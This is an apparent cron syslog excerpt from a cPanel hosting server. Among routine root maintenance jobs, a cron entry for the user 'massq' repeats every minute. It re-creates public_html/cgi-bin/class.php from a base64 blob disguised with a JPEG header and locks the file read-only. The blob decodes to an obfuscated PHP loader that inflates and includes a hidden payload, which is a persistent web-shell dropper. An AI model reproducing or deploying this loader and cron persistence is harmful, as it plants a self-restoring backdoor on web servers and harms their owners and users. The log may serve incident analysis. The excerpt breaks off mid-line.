Sep 10 09:09:01 server CROND[2506]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 09:10:01 server CROND[2940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:10:01 server CROND[2942]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:10:01 server CROND[2944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:10:01 server CROND[2943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:10:01 server CROND[2947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:10:01 server CROND[2945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:10:01 server CROND[2946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:10:01 server CROND[2950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:11:01 server CROND[3870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:11:01 server CROND[3871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:11:01 server CROND[3872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:12:01 server CROND[4256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:12:01 server CROND[4258]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:12:01 server CROND[4259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:12:01 server CROND[4260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:13:01 server CROND[4695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:13:01 server CROND[4696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:13:01 server CROND[4697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:14:01 server CROND[5077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:14:01 server CROND[5078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:14:01 server CROND[5079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:15:01 server CROND[5451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:15:01 server CROND[5452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:15:01 server CROND[5453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:15:01 server CROND[5461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:15:01 server CROND[5459]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 09:15:01 server CROND[5462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:15:01 server CROND[5464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:15:01 server CROND[5465]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:16:01 server CROND[6298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:16:01 server CROND[6299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:16:01 server CROND[6300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:17:01 server CROND[6772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:17:01 server CROND[6771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:17:01 server CROND[6773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:18:01 server CROND[7151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:18:01 server CROND[7153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:18:01 server CROND[7154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:19:01 server CROND[7573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:19:01 server CROND[7576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:19:01 server CROND[7577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:20:01 server CROND[8033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:20:01 server CROND[8036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 09:20:01 server CROND[8037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:20:01 server CROND[8038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:20:01 server CROND[8039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:20:01 server CROND[8044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:20:01 server CROND[8041]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 09:20:01 server CROND[8043]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:20:01 server CROND[8054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:21:01 server CROND[8861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:21:01 server CROND[8862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:21:01 server CROND[8863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaAB